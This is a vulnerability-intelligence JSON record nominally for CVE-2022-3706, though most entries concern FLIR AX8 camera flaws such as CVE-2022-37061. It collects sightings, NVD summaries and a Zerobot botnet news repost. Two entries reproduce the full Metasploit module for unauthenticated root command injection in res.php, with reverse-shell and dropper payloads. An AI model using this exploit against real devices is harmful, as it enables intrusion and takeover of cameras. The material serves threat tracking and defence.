{"vulnerability": "CVE-2022-3706", "sightings": [{"uuid": "0e1b3056-0dcc-48f3-a6cc-06ecdebc3211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "MISP/151f3a86-c3aa-4631-bb91-65293ae75bbe", "content": "", "creation_timestamp": "2023-06-27T15:16:19.000000Z"}, {"uuid": "74e5c59f-3b97-4272-a31f-d54586aab672", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "0c235f2b-62c3-4afc-92cb-c5c822b2ab23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:48.000000Z"}, {"uuid": "d82a2dca-64f0-4753-a3d5-e6acefe958a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmzyvy5mjp27", "content": "", "creation_timestamp": "2025-04-17T21:02:29.024244Z"}, {"uuid": "eeaa06f7-c8ce-42fb-a182-429ecc81c0e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lqq6sws7ib2u", "content": "", "creation_timestamp": "2025-06-03T21:02:16.209276Z"}, {"uuid": "2b29b9bb-12e2-448f-b1a5-c4d6c5bceb91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/flir_ax8_unauth_rce_cve_2022_37061.rb", "content": "", "creation_timestamp": "2022-11-01T18:06:49.000000Z"}, {"uuid": "05002c7e-33fc-480a-a301-b494f7eac67e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3706", "type": "seen", "source": "https://t.me/cibsecurity/52804", "content": "\u203c CVE-2022-3706 \u203c\n\nImproper authorization in GitLab CE/EE affecting all versions from 7.14 prior to 15.3.5, 15.4 prior to 15.4.4, and 15.5 prior to 15.5.2 allows a user retrying a job in a downstream pipeline to take ownership of the retried jobs in the upstream pipeline even if the user doesn't have access to that project.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-11-10T02:49:58.000000Z"}, {"uuid": "cfc0fd2d-694b-4558-8c2b-368d848f0c4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37069", "type": "seen", "source": "https://t.me/cibsecurity/48777", "content": "\u203c CVE-2022-37069 \u203c\n\nH3C GR-1200W MiniGRW1A0V100R006 was discovered to contain a stack overflow via the function UpdateSnat.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-25T18:37:32.000000Z"}, {"uuid": "6dc7e1c1-722d-4323-b863-075fb1aff061", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37066", "type": "seen", "source": "https://t.me/cibsecurity/48766", "content": "\u203c CVE-2022-37066 \u203c\n\nH3C GR-1200W MiniGRW1A0V100R006 was discovered to contain a stack overflow via the function UpdateDDNS.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-25T18:37:15.000000Z"}, {"uuid": "e807551b-03c1-450e-ac18-f20547578668", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37068", "type": "seen", "source": "https://t.me/cibsecurity/48769", "content": "\u203c CVE-2022-37068 \u203c\n\nH3C GR-1200W MiniGRW1A0V100R006 was discovered to contain a stack overflow via the function UpdateMacCloneFinal.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-25T18:37:21.000000Z"}, {"uuid": "62fdc5bd-3c92-41aa-bf27-85860acd66be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37062", "type": "seen", "source": "https://t.me/cibsecurity/48375", "content": "\u203c CVE-2022-37062 (flir_ax8_firmware) \u203c\n\nAll FLIR AX8 thermal sensor cameras version up to and including 1.46.16 are affected by an insecure design vulnerability due to an improper directory access restriction. An unauthenticated, remote attacker can exploit this by sending a URI that contains the path of the SQLite users database and download it. A successful exploit could allow the attacker to extract usernames and hashed passwords.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-18T22:29:50.000000Z"}, {"uuid": "51c47ed6-a91b-49ba-ae04-d56ea44de64f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37063", "type": "seen", "source": "https://t.me/cibsecurity/48372", "content": "\u203c CVE-2022-37063 (flir_ax8_firmware) \u203c\n\nAll FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to Cross Site Scripting (XSS) due to improper input sanitization. An authenticated remote attacker can execute arbitrary JavaScript code in the web management interface. A successful exploit could allow the attacker to insert malicious JavaScript code.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-18T22:29:44.000000Z"}, {"uuid": "5ff66ec8-e65c-401f-8e10-5327ae9934f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://t.me/cibsecurity/48367", "content": "\u203c CVE-2022-37061 (flir_ax8_firmware) \u203c\n\nAll FLIR AX8 thermal sensor cameras version up to and including 1.46.16 are vulnerable to Remote Command Injection. This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter in the res.php endpoint. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the root privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-18T22:26:40.000000Z"}, {"uuid": "622cb320-a3b8-47bb-936b-8da6b0413759", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37060", "type": "seen", "source": "https://t.me/cibsecurity/48360", "content": "\u203c CVE-2022-37060 \u203c\n\nFLIR AX8 thermal sensor cameras version up to and including 1.46.16 is vulnerable to Directory Traversal due to an improper access restriction. An unauthenticated, remote attacker can exploit this by sending a URI that contains directory traversal characters to disclose the contents of files located outside of the server's restricted path.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-18T20:16:26.000000Z"}, {"uuid": "43158adf-d964-40f6-a536-e10f3663d6f4", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/edfd056d-6007-4ff1-86e9-1d14f2885b61", "content": "", "creation_timestamp": "2026-06-23T14:06:14.990837Z"}, {"uuid": "bde396be-7856-40d6-81e3-092e16080a9e", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-37061", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/155e19a1-60b9-4051-9d52-88b9b3c242d5", "content": "", "creation_timestamp": "2026-06-30T10:01:16.134262Z"}, {"uuid": "cb6b2d4c-e47f-4e65-9db4-9728f3f48545", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "creation_timestamp": "2026-09-01T20:01:14.474728Z"}, {"uuid": "86144110-3f75-4a63-81a9-c43d0853c9b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://t.me/hacking_Attack/75075", "content": "Exploit Collector\nFLIR AX8 1.46.16 Remote Command Injection\n\nhttps://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png All FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to remote command injection. This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter in the res.php endpoint. This module uses the vulnerability to upload and execute payloads gaining root privileges.\n\nSHA-256 | a321cd3e8960e684cbab1cd82bb0f9be0cda474af87c57e7f89fa9aaa83b6bcaDownload ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'rex/stopwatch'\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\nprepend Msf::Exploit::Remote::AutoCheck\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'FLIR AX8 unauthenticated RCE',\n'Description' => %q{\nAll FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to Remote Command Injection.\nThis can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter\nin the res.php endpoint.\n\nThis module uses the vulnerability to upload and execute payloads gaining root privileges.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'Thomas Knudsen (https://www.linkedin.com/in/thomasjknudsen)', # Security researcher\n'Samy Younsi (https://www.linkedin.com/in/samy-younsi)', # Security researcher\n'h00die-gr3y' # metasploit module\n],\n'References' => [\n['CVE', '2022-37061'],\n['PACKETSTORM', '168114'],\n['URL', 'https://attackerkb.com/topics/UAZaDsQBfx/cve-2022-37061'],\n],\n'DisclosureDate' => '2022-08-19',\n'Platform' => ['unix', 'linux'],\n'Arch' => [ARCH_CMD, ARCH_ARMLE],\n'Privileged' => true,\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd,\n'DefaultOptions' => {\n'PAYLOAD' => 'cmd/unix/reverse_netcat'\n}\n}\n],\n[\n'Linux Dropper',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_ARMLE],\n'Type' => :linux_dropper,\n'CmdStagerFlavor' => [ 'curl', 'printf' ],\n'DefaultOptions' => {\n'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'\n}\n}\n]\n],\n'DefaultTarget' => 0,\n'DefaultOptions' => {\n'RPORT' => 80,\n'SSL' => false\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}\n)\n)\nend\n\ndef execute_command(cmd, _opts = {})\naction_id = rand(1..40)\nreturn send_request_cgi({\n'method' => 'POST',\n'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',\n'uri' => normalize_uri(target_uri.path, 'res.php'),\n'vars_post' => {\n'action' => 'alarm',\n'id' => \"#{action_id};#{cmd}\"\n}\n})\nrescue StandardError => e\nelog(\"#{peer} - Communication error occurred: #{e.message}\", error: e)\nprint_error(\"Communication error occurred: #{e.message}\")\nreturn nil\nend\n\n# Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution\ndef check\nprint_status(\"Checking if #{peer} can be exploited!\")\nsleep_time = rand(5..10)\nprint_status(\"Performing command injection test issuing a sleep command of #{sleep_time} seconds.\")\nres, elapsed_time = Rex::Stopwatch.elapsed_time do\nexecute_command(\"sleep #{sleep_time}\")\nend\n\nreturn Exploit::CheckCode::Unknown('No response received from the target!') unless res\n\nprint_status(\"Elapsed time: #{elapsed_time} seconds.\")\nreturn CheckCode::Safe('Failed to test command injection.') unless elapsed_time >= sleep_time\n\nCheckCode::Vulnerable('Successfully tested command injection.')\nend\n\ndef exploit\ncase target['Type']\nwhen :unix_cmd\nprint_status(\"Executing #{target.name} with #{payload.encoded}\")\nexecute_command(payload.encoded)\nwhen :linux_dropper\nprint_status(\"Executing #{target.name}\")\nexecute_cmdstager\nend\nend\nend Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:19.215921Z"}, {"uuid": "df16cf8d-33e2-4921-9b12-0dcb5db8f578", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "creation_timestamp": "2026-09-02T01:01:31.880643Z"}, {"uuid": "32ca0b57-ae95-415b-bba1-d78bfac1ada1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://t.me/hacking_Attack/75075", "content": "Exploit Collector\nFLIR AX8 1.46.16 Remote Command Injection\n\nhttps://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png All FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to remote command injection. This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter in the res.php endpoint. This module uses the vulnerability to upload and execute payloads gaining root privileges.\n\nSHA-256 | a321cd3e8960e684cbab1cd82bb0f9be0cda474af87c57e7f89fa9aaa83b6bcaDownload ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'rex/stopwatch'\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\nprepend Msf::Exploit::Remote::AutoCheck\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'FLIR AX8 unauthenticated RCE',\n'Description' => %q{\nAll FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to Remote Command Injection.\nThis can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter\nin the res.php endpoint.\n\nThis module uses the vulnerability to upload and execute payloads gaining root privileges.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'Thomas Knudsen (https://www.linkedin.com/in/thomasjknudsen)', # Security researcher\n'Samy Younsi (https://www.linkedin.com/in/samy-younsi)', # Security researcher\n'h00die-gr3y' # metasploit module\n],\n'References' => [\n['CVE', '2022-37061'],\n['PACKETSTORM', '168114'],\n['URL', 'https://attackerkb.com/topics/UAZaDsQBfx/cve-2022-37061'],\n],\n'DisclosureDate' => '2022-08-19',\n'Platform' => ['unix', 'linux'],\n'Arch' => [ARCH_CMD, ARCH_ARMLE],\n'Privileged' => true,\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd,\n'DefaultOptions' => {\n'PAYLOAD' => 'cmd/unix/reverse_netcat'\n}\n}\n],\n[\n'Linux Dropper',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_ARMLE],\n'Type' => :linux_dropper,\n'CmdStagerFlavor' => [ 'curl', 'printf' ],\n'DefaultOptions' => {\n'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'\n}\n}\n]\n],\n'DefaultTarget' => 0,\n'DefaultOptions' => {\n'RPORT' => 80,\n'SSL' => false\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}\n)\n)\nend\n\ndef execute_command(cmd, _opts = {})\naction_id = rand(1..40)\nreturn send_request_cgi({\n'method' => 'POST',\n'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',\n'uri' => normalize_uri(target_uri.path, 'res.php'),\n'vars_post' => {\n'action' => 'alarm',\n'id' => \"#{action_id};#{cmd}\"\n}\n})\nrescue StandardError => e\nelog(\"#{peer} - Communication error occurred: #{e.message}\", error: e)\nprint_error(\"Communication error occurred: #{e.message}\")\nreturn nil\nend\n\n# Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution\ndef check\nprint_status(\"Checking if #{peer} can be exploited!\")\nsleep_time = rand(5..10)\nprint_status(\"Performing command injection test issuing a sleep command of #{sleep_time} seconds.\")\nres, elapsed_time = Rex::Stopwatch.elapsed_time do\nexecute_command(\"sleep #{sleep_time}\")\nend\n\nreturn Exploit::CheckCode::Unknown('No response received from the target!') unless res\n\nprint_status(\"Elapsed time: #{elapsed_time} seconds.\")\nreturn CheckCode::Safe('Failed to test command injection.') unless elapsed_time >= sleep_time\n\nCheckCode::Vulnerable('Successfully tested command injection.')\nend\n\ndef exploit\ncase target['Type']\nwhen :unix_cmd\nprint_status(\"Executing #{target.name} with #{payload.encoded}\")\nexecute_command(payload.encoded)\nwhen :linux_dropper\nprint_status(\"Executing #{target.name}\")\nexecute_cmdstager\nend\nend\nend Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:34.125777Z"}]}